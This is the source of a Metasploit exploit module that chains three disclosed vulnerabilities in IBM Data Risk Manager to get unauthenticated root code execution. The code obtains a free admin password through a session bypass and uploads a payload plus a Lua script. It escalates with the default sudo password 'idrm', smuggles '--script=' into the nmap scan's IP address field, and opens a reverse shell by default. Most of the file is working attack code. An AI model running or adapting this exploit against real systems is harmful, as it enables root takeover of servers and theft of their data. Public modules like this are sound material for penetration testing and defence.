##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IBM Data Risk Manager Unauthenticated Remote Code Execution',
        'Description' => %q{
          IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by
          an unauthenticated attacker to achieve remote code execution as root.
          The first is an unauthenticated bypass, followed by a command injection as the server user,
          and finally abuse of an insecure default password.
          This module exploits all three vulnerabilities, giving the attacker a root shell.
          At the time of disclosure, this is a 0day. Versions 2.0.3 and below are confirmed to be
          affected, and the latest 2.0.6 is most likely affected too.
        },
        'Author' =>
          [
            'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
          ],
        'License' => MSF_LICENSE,
        'References' =>
          [
            [ 'CVE', '2020-4427' ], # auth bypass
            [ 'CVE', '2020-4428' ], # command injection
            [ 'CVE', '2020-4429' ], # insecure default password
            [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ],
            [ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ]
          ],
        'Platform' => 'linux',
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Targets' =>
          [
            [ 'IBM Data Risk Manager <= 2.0.3 (<= 2.0.6 possibly affected)', {} ]
          ],
        'Privileged' => true,
        'DefaultOptions' =>
          {
            'WfsDelay' => 15,
            'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
            'SSL' => true
          },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-04-21'
      )
    )

    register_options(
      [
        Opt::RPORT(8443),
        OptString.new('TARGETURI', [ true, 'Default server path', '/'])
      ]
    )
  end

  def check
    # at the moment there is no better way to detect AND be stealthy about it
    session_id = rand_text_alpha(5..12)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
      'method' => 'GET',
      'vars_get' => {
        'id' => session_id,
        'userName' => 'admin'
      }
    })
    if res && (res.code == 302) &&
       res.headers['Location'].include?('localhost:8765') &&
       res.headers['Location'].include?('saml/idpSelection')
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Unknown
  end

  # post-exploitation:
  # - delete the .enc files that were uploaded (register_file_for_cleanup seems to crap out)
  def on_new_session(client)
    if client.type == 'meterpreter'
      # stdapi must be loaded before we can use fs.file
      client.core.use('stdapi') if !client.ext.aliases.include?('stdapi')
      client.fs.file.rm(@script_filepath)
      client.fs.file.rm(@payload_filepath)
    else
      client.shell_command_token("rm #{@script_filepath}")
      client.shell_command_token("rm #{@payload_filepath}")
    end
  end

  # version 2.0.1 runs as root, so we need to change the path to where we deploy the patches
  def get_patches_path(cookie, csrf)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'getAppInfo'),
      'method' => 'GET',
      'cookie' => cookie,
      'headers' => { 'CSRF-TOKEN' => csrf }
    })

    if res && (res.code == 200) && res.body =~ /appVersion":"2\.0\.1"/
      print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.1")
      return '/root/agile3/patches/'
    end
    print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.2 or above")
    '/home/a3user/agile3/patches/'
  end

  def create_session_id
    # step 1: create a session ID and try to make it stick
    session_id = rand_text_alpha(5..12)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
      'method' => 'GET',
      'vars_get' => {
        'id' => session_id,
        'userName' => 'admin'
      }
    })
    if res && (res.code != 302)
      fail_with(Failure::Unknown, "#{peer} - Failed to \"stick\" session ID")
    end

    print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}")

    session_id
  end

  def free_the_admin(session_id)
    # step 2: give the session ID to the server and have it grant us a free admin password
    post_data = Rex::MIME::Message.new
    post_data.add_part('', nil, nil, 'form-data; name="deviceid"')
    post_data.add_part(rand_text_alpha(8..15), nil, nil, 'form-data; name="password"')
    post_data.add_part('admin', nil, nil, 'form-data; name="username"')
    post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
    post_data.add_part(session_id, nil, nil, 'form-data; name="sessionId"')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),
      'method' => 'POST',
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })

    unless res && (res.code == 200) && res.body[/"data":"([0-9a-f\-]{36})/]
      fail_with(Failure::Unknown, "#{peer} - Failed to obtain the admin password.")
    end

    password = Regexp.last_match(1)
    print_good("#{peer} - We have obtained a new admin password #{password}")

    password
  end

  def login_and_csrf(password)
    # step 3: login and get an authenticated cookie
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'login'),
      'method' => 'POST',
      'vars_post' => {
        'userName' => 'admin',
        'password' => password
      }
    })
    unless res && (res.code == 302) && res.get_cookies
      fail_with(Failure::Unknown, "#{peer} - Failed to authenticate as an admin.")
    end

    print_good("#{peer} - ... and are authenticated as an admin!")
    cookie = res.get_cookies
    url = res.redirection.to_s

    # step 4: obtain CSRF header in order to be able to make valid requests
    res = send_request_cgi({
      'uri' => url,
      'method' => 'GET',
      'cookie' => cookie
    })

    unless res && (res.code == 200) && res.body =~ /var csrfToken = "([0-9a-f\-]{36})";/
      fail_with(Failure::Unknown, "#{peer} - Failed to authenticate obtain CSRF cookie.")
    end
    csrf = Regexp.last_match(1)

    return cookie, csrf
  end

  def upload_payload_and_script(cookie, csrf, patches_path)
    # step 5: upload our payload
    payload_file = rand_text_alpha(5..12) + '.enc'
    post_data = Rex::MIME::Message.new
    post_data.add_part(generate_payload_exe, 'application/octet-stream', 'binary', "form-data; name=\"patchFiles\"; filename=\"#{payload_file}\"")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'upload', 'patch'),
      'method' => 'POST',
      'cookie' => cookie,
      'headers' => { 'CSRF-TOKEN' => csrf },
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })

    unless res && (res.code == 200)
      fail_with(Failure::Unknown, "#{peer} - Failed to upload payload.")
    end

    print_good("#{peer} - We have uploaded our payload... ")

    # step 6: upload our script file
    # nmap will run as a3user (the server user), which has a default password of "idrm".
    # a3user has sudo access, so that means we run as root!
    # However let's do some basic error checking: if somehow the a3user password was changed and we cannot sudo
    # to execute as root, we ensure our payload still executes as a3user.
    #
    # Note: for version 2.0.1, the above is not necessary as nmap runs as root. However, leave it anyway for simplicity.
    script_file = rand_text_alpha(5..12) + '.enc'
    @script_filepath = patches_path + script_file
    @payload_filepath = patches_path + payload_file
    rand_file = rand_text_alpha(5..12)
    cmd = "chmod +x #{@payload_filepath}; echo idrm | sudo -S whoami > /tmp/#{rand_file};"
    cmd << " root=`cat /tmp/#{rand_file}`;"
    cmd << " if [ $root == 'root' ]; then sudo #{@payload_filepath};"
    cmd << " else #{@payload_filepath}; fi; rm /tmp/#{rand_file}"
    script_file_contents = "os.execute(\"#{cmd}\")"

    post_data = Rex::MIME::Message.new
    post_data.add_part(script_file_contents, 'application/octet-stream', 'binary', "form-data; name=\"patchFiles\"; filename=\"#{script_file}\"")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'upload', 'patch'),
      'method' => 'POST',
      'cookie' => cookie,
      'headers' => { 'CSRF-TOKEN' => csrf },
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })

    unless res && (res.code == 200)
      fail_with(Failure::Unknown, "#{peer} - Failed to upload nmap script file.")
    end

    print_good("#{peer} - and our nmap script file!")
  end

  def obtain_bearer_token(password)
    # step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have)
    post_data = Rex::MIME::Message.new
    post_data.add_part('', nil, nil, 'form-data; name="deviceid"')
    post_data.add_part(password, nil, nil, 'form-data; name="password"')
    post_data.add_part('admin', nil, nil, 'form-data; name="username"')
    post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),
      'method' => 'POST',
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })

    unless res && (res.code == 200) && res.body =~ /\"data\":\{\"access_token\":\"([0-9a-f\-]{36})\",\"token_type\":\"bearer\"/
      fail_with(Failure::Unknown, "#{peer} - Failed to obtain Bearer token.")
    end

    bearer = Regexp.last_match(1)
    print_good("#{peer} - Bearer token #{bearer} obtained, wait for the final step where we invoke nmap...")

    bearer
  end

  def exploit
    # step 1: create a session ID and try to make it stick
    session_id = create_session_id

    # step 2: give the session ID to the server and have it grant us a free admin password
    password = free_the_admin(session_id)

    # step 3: login and get an authenticated cookie
    # step 4: obtain CSRF header in order to be able to make valid requests
    cookie, csrf = login_and_csrf(password)

    patches_path = get_patches_path(cookie, csrf)

    # step 5: upload our payload
    # step 6: upload our script file
    upload_payload_and_script(cookie, csrf, patches_path)

    # step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have)
    bearer = obtain_bearer_token(password)

    # step 8 and final: invoke the nmap scan with our script file
    script = "--script=#{@script_filepath}"
    post_data = Rex::MIME::Message.new
    post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
    post_data.add_part('1', nil, nil, 'form-data; name="type"')
    post_data.add_part('', nil, nil, 'form-data; name="portRange"')
    post_data.add_part(script, nil, nil, 'form-data; name="ipAddress"')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'restAPI', 'v2', 'nmap', 'run', 'scan', rand(99 + 1).to_s),
      'method' => 'POST',
      'headers' => { 'Authorization' => "Bearer #{bearer}" },
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })
    unless res && (res.code == 200)
      fail_with(Failure::Unknown, "#{peer} - Failed to run nmap scan.")
    end

    print_good("#{peer} - Shell incoming!")
  end
end